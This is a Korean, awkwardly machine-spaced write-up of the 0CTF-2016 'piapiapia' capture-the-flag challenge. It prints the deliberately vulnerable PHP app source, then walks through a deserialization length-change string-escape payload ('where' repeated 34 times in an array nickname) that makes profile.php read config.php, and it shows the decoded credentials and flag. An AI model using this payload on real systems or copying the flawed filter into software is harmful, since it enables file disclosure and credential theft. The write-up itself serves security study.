php 역 직렬 화 길이 변화 꼬리 문자열 탈출(0CTF-2016-piapia)
디 렉 터 리 스 캔 을 실시 한 결과 소스 코드 가 www.zip 유출 된 것 을 발견 하고 소스 코드 를 제시 합 니 다.
index.php
<?php
require_once('class.php');
if($_SESSION['username']) {
header('Location: profile.php');
exit;
}
if($_POST['username'] && $_POST['password']) {
$username = $_POST['username'];
$password = $_POST['password'];
if(strlen($username) < 3 or strlen($username) > 16)
die('Invalid user name');
if(strlen($password) < 3 or strlen($password) > 16)
die('Invalid password');
if($user->login($username, $password)) {
$_SESSION['username'] = $username;
header('Location: profile.php');
exit;
}
else {
die('Invalid user name or password');
}
}
else {
?>
<!DOCTYPE html>
<html>
<head>
<title>Login</title>
<link href="static/bootstrap.min.css" rel="external nofollow" rel="external nofollow" rel="external nofollow" rel="external nofollow" rel="stylesheet">
<script src="static/jquery.min.js"></script>
<script src="static/bootstrap.min.js"></script>
</head>
<body>
<div class="container" style="margin-top:100px">
<form action="index.php" method="post" class="well" style="width:220px;margin:0px auto;">
<img src="static/piapiapia.gif" class="img-memeda " style="width:180px;margin:0px auto;">
<h3>Login</h3>
<label>Username:</label>
<input type="text" name="username" style="height:30px"class="span3"/>
<label>Password:</label>
<input type="password" name="password" style="height:30px" class="span3">
<button type="submit" class="btn btn-primary">LOGIN</button>
</form>
</div>
</body>
</html>
<?php
}
?>
계 정 비밀 번 호 를 입력 한 후 profile.php 에 들 어 갔 습 니 다.다음은 profile.php 의 원본 코드 입 니 다.
<?php
require_once('class.php');
if($_SESSION['username'] == null) {
die('Login First');
}
$username = $_SESSION['username'];
$profile=$user->show_profile($username);
if($profile == null) {
header('Location: update.php');
}
else {
$profile = unserialize($profile);
$phone = $profile['phone'];
$email = $profile['email'];
$nickname = $profile['nickname'];
$photo = base64_encode(file_get_contents($profile['photo']));
?>
<!DOCTYPE html>
<html>
<head>
<title>Profile</title>
<link href="static/bootstrap.min.css" rel="external nofollow" rel="external nofollow" rel="external nofollow" rel="external nofollow" rel="stylesheet">
<script src="static/jquery.min.js"></script>
<script src="static/bootstrap.min.js"></script>
</head>
<body>
<div class="container" style="margin-top:100px">
<img src="data:image/gif;base64,<?php echo $photo; ?>" class="img-memeda " style="width:180px;margin:0px auto;">
<h3>Hi <?php echo $nickname;?></h3>
<label>Phone: <?php echo $phone;?></label>
<label>Email: <?php echo $email;?></label>
</div>
</body>
</html>
<?php
}
?>
그리고 등록 페이지 의 원본 코드(크게 사용 되 지 않 음),register.php:
<?php
require_once('class.php');
if($_POST['username'] && $_POST['password']) {
$username = $_POST['username'];
$password = $_POST['password'];
if(strlen($username) < 3 or strlen($username) > 16)
die('Invalid user name');
if(strlen($password) < 3 or strlen($password) > 16)
die('Invalid password');
if(!$user->is_exists($username)) {
$user->register($username, $password);
echo 'Register OK!<a href="index.php" rel="external nofollow" >Please Login</a>';
}
else {
die('User name Already Exists');
}
}
else {
?>
<!DOCTYPE html>
<html>
<head>
<title>Login</title>
<link href="static/bootstrap.min.css" rel="external nofollow" rel="external nofollow" rel="external nofollow" rel="external nofollow" rel="stylesheet">
<script src="static/jquery.min.js"></script>
<script src="static/bootstrap.min.js"></script>
</head>
<body>
<div class="container" style="margin-top:100px">
<form action="register.php" method="post" class="well" style="width:220px;margin:0px auto;">
<img src="static/piapiapia.gif" class="img-memeda " style="width:180px;margin:0px auto;">
<h3>Register</h3>
<label>Username:</label>
<input type="text" name="username" style="height:30px"class="span3"/>
<label>Password:</label>
<input type="password" name="password" style="height:30px" class="span3">
<button type="submit" class="btn btn-primary">REGISTER</button>
</form>
</div>
</body>
</html>
<?php
}
?>
그리고 update.php:
<?php
require_once('class.php');
if($_SESSION['username'] == null) {
die('Login First');
}
if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {
$username = $_SESSION['username'];
if(!preg_match('/^\d{11}$/', $_POST['phone']))
die('Invalid phone');
if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
die('Invalid email');
if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
die('Invalid nickname');
$file = $_FILES['photo'];
if($file['size'] < 5 or $file['size'] > 1000000)
die('Photo size error');
move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
$profile['phone'] = $_POST['phone'];
$profile['email'] = $_POST['email'];
$profile['nickname'] = $_POST['nickname'];
$profile['photo'] = 'upload/' . md5($file['name']);
$user->update_profile($username, serialize($profile));
echo 'Update Profile Success!<a href="profile.php" rel="external nofollow" >Your Profile</a>';
}
else {
?>
<!DOCTYPE html>
<html>
<head>
<title>UPDATE</title>
<link href="static/bootstrap.min.css" rel="external nofollow" rel="external nofollow" rel="external nofollow" rel="external nofollow" rel="stylesheet">
<script src="static/jquery.min.js"></script>
<script src="static/bootstrap.min.js"></script>
</head>
<body>
<div class="container" style="margin-top:100px">
<form action="update.php" method="post" enctype="multipart/form-data" class="well" style="width:220px;margin:0px auto;">
<img src="static/piapiapia.gif" class="img-memeda " style="width:180px;margin:0px auto;">
<h3>Please Update Your Profile</h3>
<label>Phone:</label>
<input type="text" name="phone" style="height:30px"class="span3"/>
<label>Email:</label>
<input type="text" name="email" style="height:30px"class="span3"/>
<label>Nickname:</label>
<input type="text" name="nickname" style="height:30px" class="span3">
<label for="file">Photo:</label>
<input type="file" name="photo" style="height:30px"class="span3"/>
<button type="submit" class="btn btn-primary">UPDATE</button>
</form>
</div>
</body>
</html>
<?php
}
?>
핵심 처리 코드,class.php:
<?php
require('config.php');
class user extends mysql{
private $table = 'users';
public function is_exists($username) {
$username = parent::filter($username);
$where = "username = '$username'";
return parent::select($this->table, $where);
}
public function register($username, $password) {
$username = parent::filter($username);
$password = parent::filter($password);
$key_list = Array('username', 'password');
$value_list = Array($username, md5($password));
return parent::insert($this->table, $key_list, $value_list);
}
public function login($username, $password) {
$username = parent::filter($username);
$password = parent::filter($password);
$where = "username = '$username'";
$object = parent::select($this->table, $where);
if ($object && $object->password === md5($password)) {
return true;
} else {
return false;
}
}
public function show_profile($username) {
$username = parent::filter($username);
$where = "username = '$username'";
$object = parent::select($this->table, $where);
return $object->profile;
}
public function update_profile($username, $new_profile) {
$username = parent::filter($username);
$new_profile = parent::filter($new_profile);
$where = "username = '$username'";
return parent::update($this->table, 'profile', $new_profile, $where);
}
public function __tostring() {
return __class__;
}
}
class mysql {
private $link = null;
public function connect($config) {
$this->link = mysql_connect(
$config['hostname'],
$config['username'],
$config['password']
);
mysql_select_db($config['database']);
mysql_query("SET sql_mode='strict_all_tables'");
return $this->link;
}
public function select($table, $where, $ret = '*') {
$sql = "SELECT $ret FROM $table WHERE $where";
$result = mysql_query($sql, $this->link);
return mysql_fetch_object($result);
}
public function insert($table, $key_list, $value_list) {
$key = implode(',', $key_list);
$value = '\'' . implode('\',\'', $value_list) . '\'';
$sql = "INSERT INTO $table ($key) VALUES ($value)";
return mysql_query($sql);
}
public function update($table, $key, $value, $where) {
$sql = "UPDATE $table SET $key = '$value' WHERE $where";
return mysql_query($sql);
}
public function filter($string) {
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);
$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}
public function __tostring() {
return __class__;
}
}
session_start();
$user = new user();
$user->connect($config);
마지막 으로 config.php:
<?php
$config['hostname'] = '127.0.0.1';
$config['username'] = 'root';
$config['password'] = '';
$config['database'] = '';
$flag = '';
?>
flag 는 config.php 에 있 는 것 같 습 니 다.config.php 의 내용 을 어떻게 든 가 져 가 야 합 니 다.그리고 코드 감사.
seay 코드 감사 시스템 도 단 서 를 줄 수 있 습 니 다.
이 곳 에 파일 을 읽 는 곳 이 있 는 것 같 습 니 다.profile.php 에서:
else {
$profile = unserialize($profile);
$phone = $profile['phone'];
$email = $profile['email'];
$nickname = $profile['nickname'];
$photo = base64_encode(file_get_contents($profile['photo']));
?>
위 에 또 하나의 역 직렬 화 unserialize 가 있 습 니 다.신 이 있 는 것 같 습 니 다.$profile['photo']가 config.phop 이면 읽 을 수 있 습 니 다.photo 를 조작 할 수 있 는 곳 은 update.phop 입 니 다.phone,email,Nickname,photo 등 이 있 습 니 다.
$profile = a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:8:"[email protected]";s:8:"nickname";s:8:"sea_sand";s:5:"photo";s:10:"config.php";}s:39:"upload/804f743824c0451b2f60d81b63b6a900";}
print_r(unserialize($profile));
결 과 는 다음 과 같다.
Array
(
[phone] => 12345678901
[email] => [email protected]
[nickname] => sea_sand
[photo] => config.php
)
역 직렬 화 를 볼 수 있 습 니 다.맨 뒤에 upload 라 는 부분 이 없어 졌 습 니 다.다음은 config.php 를 넣 을 방법 을 생각 하 는 것 입 니 다.배열 순 서 를 보면 위 배열 의 순서 와 같 습 니 다.가방 을 잡 아 post 순 서 를 볼 수 있 습 니 다.그러면 가장 가능 한 것 은 Nickname 에서 시작 하 는 것 입 니 다.
$profile 을 설정 한 후 update 로profile()함수 처리:
public function update_profile($username, $new_profile) {
$username = parent::filter($username);
$new_profile = parent::filter($new_profile);
$where = "username = '$username'";
return parent::update($this->table, 'profile', $new_profile, $where);
}
필터 진행:
public function filter($string) {
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);
$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}
두 개의 정규 필터 가 있 습 니 다.nickname 을 입력 할 때 정규 가 있 습 니 다.모두 세 개의 필터 가 있 습 니 다.먼저 첫 번 째 입력 시의 정규 를 돌아 야 합 니 다.
if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
die('Invalid nickname');
:
nickname[]=
$profile :
$profile = a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:8:"[email protected]";s:8:"nickname";a:1:{i:0;s:3:"xxx"};s:5:"photo";s:10:"config.php";}s:39:"upload/804f743824c0451b2f60d81b63b6a900";}
뒤의 정규 는 어떻게 이용 해 야 합 니까?만약 에 우리 가 입력 한 것 이 where 가 있 으 면 hacker 로 바 뀌 는 것 을 볼 수 있 습 니 다.그러면 길이 가 달라 집 니 다.직렬 화 된 모든 변 수 는 길이 가 있 습 니 다.그러면 반 직렬 화 는 어떻게 처리 합 니까?우 리 는 어떻게 구 조 를 해 야 합 니까?배열 이 첫 번 째 정규 필 터 를 돌아 서 nickname 맨 뒤에 끼 우 면;}s:5:“photo”;s:10:“config.php”;},모두 34 개의 문자 입 니 다.정규 로 34 개의 where 를 교체 하면 이 34 개 를 밀 어 낼 수 있 습 니 다.뒤의 upload 는 직렬 화 꼬치 가 우리 에 의 해 닫 혀 도 소 용이 없습니다.
nickname[]=wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}
$profile = a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:8:"[email protected]";s:8:"nickname";a:1:{i:0;s:204:"wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere"};s:5:"photo";s:10:"config.php";}s:39:"upload/804f743824c0451b2f60d81b63b6a900";}
where 가 정규 매 칭 되 어 hacker 로 바 뀌 면 길이 가 딱 맞 고 뒤의"};s:5:“photo”;s:10:“config.php”;}nickname 의 일부분 이 아 닙 니 다.역 직렬 화 될 때 photo 로 간주 되 어 config.php 의 내용 을 읽 을 수 있 습 니 다.다음 작업 시작:등록 후 로그 인하 여 update.phop 페이지 에 들 어가 정 보 를 입력 하고 사진 을 업로드 합 니 다.bp 캡 처 로 Nickname 을 배열 로 바 꾸 면 됩 니 다.
그리고 프로필 에 들 어가 서 그림 정 보 를 보고 base 64 코드 를 디 코딩 합 니 다.
PD9waHAKJGNvbmZpZ1snaG9zdG5hbWUnXSA9ICcxMjcuMC4wLjEnOwokY29uZmlnWyd1c2VybmFtZSddID0gJ3Jvb3QnOwokY29uZmlnWydwYXNzd29yZCddID0gJ3F3ZXJ0eXVpb3AnOwokY29uZmlnWydkYXRhYmFzZSddID0gJ2NoYWxsZW5nZXMnOwokZmxhZyA9ICdmbGFnezBjdGZfMjAxNl91bnNlcmlhbGl6ZV9pc192ZXJ5X2dvb2QhfSc7Cj8+Cg==
디 코딩 획득:
<?php
$config['hostname'] = '127.0.0.1';
$config['username'] = 'root';
$config['password'] = 'qwertyuiop';
$config['database'] = 'challenges';
$flag = 'flag{0ctf_2016_unserialize_is_very_good!}';
?>
총결산위 에서 소개 한 php 반 서열 화 길이 변화 꼬리 문자열 탈출(0CTF-2016-piapiapia)입 니 다.도움 이 되 셨 으 면 좋 겠 습 니 다!
이 내용에 흥미가 있습니까?
현재 기사가 여러분의 문제를 해결하지 못하는 경우 AI 엔진은 머신러닝 분석(스마트 모델이 방금 만들어져 부정확한 경우가 있을 수 있음)을 통해 가장 유사한 기사를 추천합니다:
Laravel 9 프로젝트 환경을 확인하는 방법이 laravel 9 빠른 자습서에서는 laravel 9 프로젝트 환경을 확인하는 방법을 살펴봅니다. laravel 버전, php 버전, 작곡가 버전 등을 확인하는 것과 같습니다. 단일 명령을 사용하여 laravel...
텍스트를 자유롭게 공유하거나 복사할 수 있습니다.하지만 이 문서의 URL은 참조 URL로 남겨 두십시오.
CC BY-SA 2.5, CC BY-SA 3.0 및 CC BY-SA 4.0에 따라 라이센스가 부여됩니다.